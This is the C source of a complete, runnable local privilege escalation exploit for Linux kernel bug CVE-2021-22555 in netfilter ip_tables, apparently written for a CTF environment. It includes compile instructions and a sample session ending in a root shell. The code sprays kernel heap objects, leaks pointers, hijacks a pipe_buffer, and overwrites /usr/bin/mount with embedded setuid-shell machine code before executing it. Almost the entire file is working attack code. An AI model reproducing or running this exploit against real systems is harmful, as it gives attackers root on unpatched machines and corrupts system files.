/**
 * CVE-2021-22555 exploit
 * 
 * This exploit use pipe-primitive so no kaslr leak nor smap
 *  smep ktpi bypass is needed.
 * 
 * Compile with:
 *  gcc exploit.c -o exploit -m32 -static -no-pie -s
 * 
 * This exploit will overwrite /usr/bin/mount with suid-shell and
 *  execute it. BACKUP IT MANUALLY before running exploit, and
 *  RESTORE it quickly after exploit success.
 * 
 * / $ /exp
 * [+] STAGE 0: Initialization
 * [*] Setup namespace sandbox ...
 * [*] Initializing sockets and message queues ...
 * [+] STAGE 1: Memory corruption
 * [*] Spraying msg_a(0x1000) ...
 * [*] Spraying msg_b(0x400) ...
 * [*] Creating holes in msg_a (each 1024) ...
 * [*] Triggering oob write ...
 * [*] Searching for corrupted msg_a ...
 * [*] fake_idx: 0x80f
 * [*] real_idx: 0x7fa
 * [+] STAGE 2: Leak chunk address
 * [*] Freeing real msg_b ...
 * [*] Spraying fake msg_b with evil m_ts ...
 * [*] Leaking adjacent msg_b ...
 * [*] ptr_adjacent_msg_a: 0xffff88801c2c2000
 * [*] Freeing fake msg_b ...
 * [*] Spraying fake msg_b with evil next ...
 * [*] Leaking adjacent msg_a ...
 * [*] ptr_adjacent_msg_b: 0xffff88801b4c0400
 * [*] ptr_msg_b: 0xffff88801b4c0000
 * [+] STAGE 3: Do pipe primitive
 * [*] Freeing fake msg_b ...
 * [*] Spraying freeable fake msg_b ...
 * [*] Freeing fake msg_b using fake_idx ...
 * [*] Spraying pipe_buffer objects ...
 * [*] Leaking and freeing pipe_buffer object ...
 * [*] editing pipe_buffer ...
 * [*] try to overwrite /usr/bin/mount
 * [*] see if /usr/bin/mount changed
 * [+] exploit success
 * / # id
 * uid=0(root) gid=0(root) groups=1000(ctf)
 * 
 */

// clang-format on
#define _GNU_SOURCE
#include <errno.h>
#include <fcntl.h>
#include <inttypes.h>
#include <netinet/in.h>
#include <sched.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ipc.h>
#include <sys/mman.h>
#include <sys/msg.h>
#include <sys/socket.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <unistd.h>
// clang-format off
#include <linux/netfilter_ipv4/ip_tables.h>
// clang-format on

#define logd(fmt, ...) dprintf(2, "[*] " fmt "\n", ##__VA_ARGS__)
#define logi(fmt, ...) dprintf(2, "[+] " fmt "\n", ##__VA_ARGS__)
#define loge(fmt, ...) dprintf(2, "[-] " fmt "\n", ##__VA_ARGS__)
#define die(fmt, ...)                      \
    do {                                   \
        loge(fmt, ##__VA_ARGS__);          \
        loge("Exit at line %d", __LINE__); \
        write(sync_pipe[1], "F", 1);       \
        exit(1);                           \
    } while (0)

#define PAGE_SIZE (0x1000)
#define SIZEOF_SKB_SHARED_INFO (0x140)
#define NUM_SOCKETS (4)
#define NUM_PIPES (256)
#define NUM_SKBUFFS (128)
#define NUM_MSQIDS (0x1000)
#define HOLE_STEP (0x400)

#define MSG_TEXT_SIZE(x) (         \
    (x) - sizeof(struct msg_msg) - \
    sizeof(struct msg_msgseg) * (((x + PAGE_SIZE - 1) / PAGE_SIZE) - 1))
#define MSG_A_RAW_SIZE (0x1000)
#define MSG_B_RAW_SIZE (0x400)
#define MSG_A_TEXT_SIZE MSG_TEXT_SIZE(MSG_A_RAW_SIZE)
#define MSG_B_TEXT_SIZE MSG_TEXT_SIZE(MSG_B_RAW_SIZE)
#define MTYPE_A (0x41)
#define MTYPE_B (0x42)
#define MTYPE_FAKE (0x43)
#define MSG_SIG (0x13371337)
#define PIPE_BUF_FLAG_CAN_MERGE (0x10)

#define ATTACK_FILE "/usr/bin/mount"
const char attack_data[] = {
    0x7f, 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01, 0x00,
    0x00, 0x56, 0x56, 0x56, 0x56, 0x00, 0x00, 0x00,
    0x02, 0x00, 0x3e, 0x00, 0x01, 0x00, 0x00, 0x00,
    0xb0, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00,
    0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x38, 0x00,
    0x02, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x01, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00,
    0xf6, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0xf6, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x51, 0xe5, 0x74, 0x64, 0x07, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x31, 0xff, 0x31, 0xd2, 0x31, 0xf6, 0x6a, 0x75,
    0x58, 0x0f, 0x05, 0x31, 0xff, 0x31, 0xd2, 0x31,
    0xf6, 0x6a, 0x77, 0x58, 0x0f, 0x05, 0x6a, 0x68,
    0x48, 0xb8, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x2f,
    0x2f, 0x73, 0x50, 0x48, 0x89, 0xe7, 0x68, 0x72,
    0x69, 0x01, 0x01, 0x81, 0x34, 0x24, 0x01, 0x01,
    0x01, 0x01, 0x31, 0xf6, 0x56, 0x6a, 0x08, 0x5e,
    0x48, 0x01, 0xe6, 0x56, 0x48, 0x89, 0xe6, 0x31,
    0xd2, 0x6a, 0x3b, 0x58, 0x0f, 0x05};

struct list_head {
    uint64_t next;
    uint64_t prev;
};

struct msg_msg {
    struct list_head m_list;
    uint64_t m_type;
    uint64_t m_ts;
    uint64_t next;
    uint64_t security;
    char mtext[0];
};

struct msg_msgseg {
    uint64_t next;
};

struct typ_msg {
    long mtype;
    char mtext[0];
};

struct typ_pipe_buffer {
    uint64_t page;
    uint32_t offset;
    uint32_t len;
    uint64_t ops;
    uint32_t flags;
    uint32_t padding1;
    uint64_t private;
};

int sync_pipe[2];
int sock;
int sock_pairs[NUM_SOCKETS][2];
int pipes[NUM_PIPES][2];
int msqid[NUM_MSQIDS];
uint8_t msg_buffer[0x2000];
struct typ_msg *msg_a = (struct typ_msg *)msg_buffer;
struct typ_msg *msg_b = (struct typ_msg *)msg_buffer;
int fake_idx = -1;
int real_idx = -1;
uint64_t ptr_adjacent_msg_a;

uint8_t g_buff[0x2000];

void clean() {
    for (int i = 0; i < NUM_MSQIDS; i++) {
        if (i == fake_idx)
            continue;
        if (msgctl(msqid[i], IPC_RMID, NULL) < 0)
            die("msgctl() fail");
    }
}

void spray_pipe(const char *target_file) {
    int fd = open(target_file, O_RDONLY);
    if (fd < 0) {
        die("open %s failed", target_file);
    }

    for (int i = 0; i < NUM_PIPES; i++) {
        if (pipe(pipes[i])) {
            die("alloc pipe failed");
        }

        const unsigned pipe_size = fcntl(pipes[i][1], F_GETPIPE_SZ);
        static char tmp_buff[0x1000];

        /* fill the pipe completely; each pipe_buffer will now have
           the PIPE_BUF_FLAG_CAN_MERGE flag */
        for (unsigned r = pipe_size; r > 0;) {
            unsigned n = r > sizeof(tmp_buff) ? sizeof(tmp_buff) : r;
            if (write(pipes[i][1], tmp_buff, n) != n) {
                die("pipe write() fail");
            };
            r -= n;
        }

        /* drain the pipe, freeing all pipe_buffer instances (but
           leaving the flags initialized) */
        for (unsigned r = pipe_size; r > 0;) {
            unsigned n = r > sizeof(tmp_buff) ? sizeof(tmp_buff) : r;
            if (read(pipes[i][0], tmp_buff, n) != n) {
                die("pipe read() fail");
            }

            r -= n;
        }

        write(pipes[i][1], tmp_buff, 0x100 + i);

        loff_t offset = 1;
        ssize_t nbytes = splice(fd, &offset, pipes[i][1], NULL, 1, 0);
        if (nbytes < 0) {
            die("splice failed");
        }
    }
}

void free_skbuff_data(void *ptr, size_t size) {
    for (int i = 0; i < NUM_SOCKETS; i++) {
        for (int j = 0; j < NUM_SKBUFFS; j++) {
            if (read(sock_pairs[i][1], ptr, size) < 0) {
                die("read from sock pairs failed");
            }
        }
    }
}

void spray_skbuff_data(void *ptr, size_t size) {
    for (int i = 0; i < NUM_SOCKETS; i++) {
        for (int j = 0; j < NUM_SKBUFFS; j++) {
            if (write(sock_pairs[i][0], ptr, size) < 0) {
                die("write to sock pairs failed");
            }
        }
    }
}

void trigger_oob_write() {
    // copied from origin exploit.c
    struct __attribute__((__packed__)) {
        struct ipt_replace replace;
        struct ipt_entry entry;
        struct xt_entry_match match;
        char pad[0x108 + MSG_A_RAW_SIZE - 0x200 - 0x2];
        struct xt_entry_target target;
    } data = {0};

    data.replace.num_counters = 1;
    data.replace.num_entries = 1;
    data.replace.size = (sizeof(data.entry) + sizeof(data.match) + sizeof(data.pad) + sizeof(data.target));
    data.entry.next_offset = (sizeof(data.entry) + sizeof(data.match) + sizeof(data.pad) + sizeof(data.target));
    data.entry.target_offset = (sizeof(data.entry) + sizeof(data.match) + sizeof(data.pad));
    data.match.u.user.match_size = (sizeof(data.match) + sizeof(data.pad));
    strcpy(data.match.u.user.name, "icmp");
    data.match.u.user.revision = 0;
    data.target.u.user.target_size = sizeof(data.target);
    strcpy(data.target.u.user.name, "NFQUEUE");
    data.target.u.user.revision = 1;

    // Partially overwrite the adjacent buffer with 2 bytes of zero.
    if (setsockopt(sock, SOL_IP, IPT_SO_SET_REPLACE, &data, sizeof(data)) != 0) {
        if (errno == ENOPROTOOPT) {
            die("ip_tables module is not loaded.");
        }
    }
}

void init_unshare() {
    int fd;
    char buff[0x100];

    // strace from `unshare -Urn xxx`
    unshare(CLONE_NEWNS | CLONE_NEWUSER | CLONE_NEWNET);

    fd = open("/proc/self/setgroups", O_WRONLY);
    snprintf(buff, sizeof(buff), "deny");
    write(fd, buff, strlen(buff));
    close(fd);

    fd = open("/proc/self/uid_map", O_WRONLY);
    snprintf(buff, sizeof(buff), "0 %d 1", getuid());
    write(fd, buff, strlen(buff));
    close(fd);

    fd = open("/proc/self/gid_map", O_WRONLY);
    snprintf(buff, sizeof(buff), "0 %d 1", getgid());
    write(fd, buff, strlen(buff));
    close(fd);
}

void bind_cpu() {
    cpu_set_t set;
    CPU_ZERO(&set);
    CPU_SET(0, &set);
    if (sched_setaffinity(getpid(), sizeof(set), &set) < 0) {
        die("sched_setaffinity() fail");
    }
}

void init_sock() {
    sock = socket(AF_INET, SOCK_STREAM, 0);
    if (sock < 0) {
        die("socket() fail");
    }

    for (int i = 0; i < NUM_SOCKETS; i++) {
        if (socketpair(AF_UNIX, SOCK_STREAM, 0, sock_pairs[i]) < 0) {
            die("socketpair() fail");
        }
    }
}

void init_msq() {
    for (int i = 0; i < NUM_MSQIDS; i++) {
        msqid[i] = msgget(IPC_PRIVATE, IPC_CREAT | 0666);
        if (msqid[i] < 0) {
            die("msgget() fail");
        }
    }
}

void do_initialization() {
    logd("Setup namespace sandbox ...");
    init_unshare();
    bind_cpu();

    logd("Initializing sockets and message queues ...");
    init_sock();
    init_msq();
}

void do_memory_corruption() {
    logd("Spraying msg_a(0x%x) ...", MSG_A_RAW_SIZE);
    for (int i = 0; i < NUM_MSQIDS; i++) {
        msg_a->mtype = MTYPE_A;
        memset(msg_a->mtext, 0, MSG_A_TEXT_SIZE);
        ((int *)msg_a->mtext)[0] = MSG_SIG;
        ((int *)msg_a->mtext)[1] = i;
        if (msgsnd(msqid[i], msg_a, MSG_A_TEXT_SIZE, 0) < 0) {
            die("msgsnd() fail");
        }
    }

    logd("Spraying msg_b(0x%x) ...", MSG_B_RAW_SIZE);
    for (int i = 0; i < NUM_MSQIDS; i++) {
        msg_b->mtype = MTYPE_B;
        memset(msg_b->mtext, 0, MSG_B_TEXT_SIZE);

        ((int *)msg_b->mtext)[0] = MSG_SIG;
        ((int *)msg_b->mtext)[1] = i;
        if (msgsnd(msqid[i], msg_b, MSG_B_TEXT_SIZE, 0) < 0) {
            die("msgsnd() fail");
        }
    }

    logd("Creating holes in msg_a (each %d) ...", HOLE_STEP);
    for (int i = HOLE_STEP; i < NUM_MSQIDS; i += HOLE_STEP) {
        if (msgrcv(msqid[i], msg_a, MSG_A_TEXT_SIZE, MTYPE_A, 0) < 0) {
            die("msgrcv() fail");
        }
    }

    logd("Triggering oob write ...");
    trigger_oob_write();

    logd("Searching for corrupted msg_a ...");
    fake_idx = real_idx = -1;
    for (int i = 0; i < NUM_MSQIDS; i++) {
        if (i != 0 && (i % HOLE_STEP) == 0) {
            continue;
        }
        if (msgrcv(msqid[i], msg_b, MSG_B_TEXT_SIZE, 1, MSG_COPY | IPC_NOWAIT) < 0) {
            die("msgrcv()");
        }
        if (((int *)msg_b->mtext)[0] != MSG_SIG) {
            die("bad luck, corrupted msg_a not point to another msg_b");
        }
        if (((int *)msg_b->mtext)[1] != i) {
            fake_idx = i;
            real_idx = ((int *)msg_b->mtext)[1];
            break;
        }
    }

    if (fake_idx == -1 && real_idx == -1) {
        die("bad luck, can't find corrupted msg_a");
    } else {
        /**
         * fake_idx's msg_a has a corrupted next pointer,
         *  wrongly pointing to real_idx's msg_b.
         */
        logd("fake_idx: 0x%x", fake_idx);
        logd("real_idx: 0x%x", real_idx);
    }
}

void do_leak() {
    logd("Freeing real msg_b ...");
    if (msgrcv(msqid[real_idx], msg_b, MSG_B_TEXT_SIZE, MTYPE_B, 0) < 0) {
        die("msgrcv() fail");
    }

    logd("Spraying fake msg_b with evil m_ts ...");
    {
        memset(g_buff, 0, sizeof(g_buff));
        struct msg_msg *p_fake_msg_b = (struct msg_msg *)g_buff;
        p_fake_msg_b->m_list.next = 0xdead1111;
        p_fake_msg_b->m_list.prev = 0xdead2222;
        p_fake_msg_b->m_ts = MSG_A_TEXT_SIZE;
        p_fake_msg_b->m_type = MTYPE_FAKE;
        p_fake_msg_b->next = 0;
        p_fake_msg_b->security = 0;
    }
    spray_skbuff_data(g_buff, MSG_B_RAW_SIZE - SIZEOF_SKB_SHARED_INFO);

    logd("Leaking adjacent msg_b ...");
    memset(g_buff, 0, MSG_A_TEXT_SIZE);
    if (msgrcv(msqid[fake_idx], g_buff, MSG_A_TEXT_SIZE, 1, MSG_COPY | IPC_NOWAIT) < 0) {
        die("msgrcv() fail");
    }
    struct msg_msg *p_adjacent_msg_b = (struct msg_msg *)(g_buff + sizeof(long) + MSG_B_RAW_SIZE - sizeof(struct msg_msg));
    if (((int *)&p_adjacent_msg_b->mtext)[0] != MSG_SIG) {
        die("Could not leak adjacent msg_b");
    }
    ptr_adjacent_msg_a = p_adjacent_msg_b->m_list.prev;
    if ((ptr_adjacent_msg_a & 0xFFFF000000000FFF) != 0xFFFF000000000000) {
        die("Could not leak adjacent msg_a ptr");
    } else {
        logd("ptr_adjacent_msg_a: 0x%08" PRIx64, ptr_adjacent_msg_a);
    }

    logd("Freeing fake msg_b ...");
    free_skbuff_data(g_buff, MSG_B_RAW_SIZE - SIZEOF_SKB_SHARED_INFO);

    logd("Spraying fake msg_b with evil next ...");
    {
        memset(g_buff, 0, sizeof(g_buff));
        struct msg_msg *p_fake_msg_b = (struct msg_msg *)g_buff;
        p_fake_msg_b->m_list.next = 0xdead1111;
        p_fake_msg_b->m_list.prev = 0xdead2222;
        p_fake_msg_b->m_ts = MSG_TEXT_SIZE(0x1400);
        p_fake_msg_b->m_type = MTYPE_FAKE;
        p_fake_msg_b->next = ptr_adjacent_msg_a - sizeof(struct msg_msgseg);
        p_fake_msg_b->security = 0;
    }

    spray_skbuff_data(g_buff, MSG_B_RAW_SIZE - SIZEOF_SKB_SHARED_INFO);

    logd("Leaking adjacent msg_a ...");
    if (msgrcv(msqid[fake_idx], g_buff, MSG_TEXT_SIZE(0x1400), 1, MSG_COPY | IPC_NOWAIT) < 0) {
        die("msgrcv() fail");
    }
    struct msg_msg *p_adjacent_msg_a = (struct msg_msg *)(g_buff + sizeof(long) + PAGE_SIZE - sizeof(struct msg_msg));
    if (((int *)&p_adjacent_msg_a->mtext)[0] != MSG_SIG) {
        die("Could not leak adjacent msg_b");
    }
    uint64_t ptr_adjacent_msg_b = p_adjacent_msg_a->m_list.next;
    if ((ptr_adjacent_msg_b & 0xFFFF0000000003FF) != 0xFFFF000000000000) {
        die("Could not leak adjacent msg_b ptr");
    } else {
        logd("ptr_adjacent_msg_b: 0x%08" PRIx64, ptr_adjacent_msg_b);
    }

    uint64_t ptr_msg_b = ptr_adjacent_msg_b - MSG_B_RAW_SIZE;
    logd("ptr_msg_b: 0x%08" PRIx64, ptr_msg_b);
}

void do_pipe_primitive() {
    logd("Freeing fake msg_b ...");
    free_skbuff_data(g_buff, MSG_B_RAW_SIZE - SIZEOF_SKB_SHARED_INFO);

    logd("Spraying freeable fake msg_b ...");
    {
        memset(g_buff, 0, sizeof(g_buff));
        struct msg_msg *p_fake_msg_b = (struct msg_msg *)g_buff;
        p_fake_msg_b->m_list.next = ptr_adjacent_msg_a; // <- ptr_msg_b
        p_fake_msg_b->m_list.prev = ptr_adjacent_msg_a; // <- ptr_msg_b
        p_fake_msg_b->m_ts = MSG_B_TEXT_SIZE;
        p_fake_msg_b->m_type = MTYPE_FAKE;
        p_fake_msg_b->next = 0;
        p_fake_msg_b->security = 0;
    }

    spray_skbuff_data(g_buff, MSG_B_RAW_SIZE - SIZEOF_SKB_SHARED_INFO);

    logd("Freeing fake msg_b using fake_idx ...");
    if (msgrcv(msqid[fake_idx], g_buff, MSG_B_TEXT_SIZE, MTYPE_FAKE, 0) < 0) {
        die("msgrcv() fail");
    }

    logd("Spraying pipe_buffer objects ...");
    spray_pipe(ATTACK_FILE);

    logd("Leaking and freeing pipe_buffer object ...");
    uint8_t bak_pipe_buff[0x400];
    uint8_t uaf_pipe_idx = -1;
    uint64_t anon_pipe_buf_ops = 0;
    {
        size_t recv_size = MSG_B_RAW_SIZE - SIZEOF_SKB_SHARED_INFO;
        memset(g_buff, 0, sizeof(g_buff));
        for (int i = 0; i < NUM_SOCKETS; i++) {
            for (int j = 0; j < NUM_SKBUFFS; j++) {
                if (read(sock_pairs[i][1], g_buff, recv_size) < 0) {
                    die("sock read() fail");
                }
                struct typ_pipe_buffer *ptr = (struct typ_pipe_buffer *)g_buff;
                if (ptr[1].len == 1 && ptr[1].offset == 1) {
                    // find pipe_buffer
                    memcpy(bak_pipe_buff, ptr, sizeof(bak_pipe_buff));
                    uaf_pipe_idx = ptr[0].len & 0xff;
                }
            }
        }
    }
    if (uaf_pipe_idx < 0) {
        die("can't find corrupted pipe_buffer");
    }

    logd("editing pipe_buffer ...");
    {
        struct typ_pipe_buffer *ptr = (struct typ_pipe_buffer *)bak_pipe_buff;
        ptr[1].flags = PIPE_BUF_FLAG_CAN_MERGE; // for kernel >= 5.8
        ptr[1].len = 0;
        ptr[1].offset = 0;
        ptr[1].ops = ptr[0].ops; // for kernel < 5.8
    }
    spray_skbuff_data(bak_pipe_buff, sizeof(bak_pipe_buff) - SIZEOF_SKB_SHARED_INFO);

    logd("try to overwrite %s", ATTACK_FILE);
    {
        ssize_t nbytes = write(pipes[uaf_pipe_idx][1], attack_data, sizeof(attack_data));
        if (nbytes < 0) {
            perror("write failed");
            die();
        }
        if ((size_t)nbytes < sizeof(attack_data)) {
            fprintf(stderr, "short write\n");
            die();
        }
    }

    logd("see if %s changed", ATTACK_FILE);
    {
        int fd = open(ATTACK_FILE, O_RDONLY);
        if (fd < 0) {
            die("open attack file");
        }
        char tmp_buffer[0x10];
        read(fd, tmp_buffer, 0x10);
        uint32_t *ptr = (uint32_t *)(tmp_buffer + 9);
        if (ptr[0] != 0x56565656) {
            die("overwrite attack file failed: 0x%08x", ptr[0]);
        }
    }
    logi("exploit success");
}

int main(void) {
    pipe(sync_pipe);

    if (!fork()) {
        logi("STAGE 0: Initialization");
        do_initialization();

        logi("STAGE 1: Memory corruption");
        do_memory_corruption();

        logi("STAGE 2: Leak chunk address");
        do_leak();

        logi("STAGE 3: Do pipe primitive");
        do_pipe_primitive();

        write(sync_pipe[1], "T", 1);
        while (1) {
            sleep(10);
        }
    } else {
        char sync;
        read(sync_pipe[0], &sync, 1);
        if (sync == 'T') {
            execl(ATTACK_FILE, ATTACK_FILE, NULL);
        }
    }
    return 0;
}
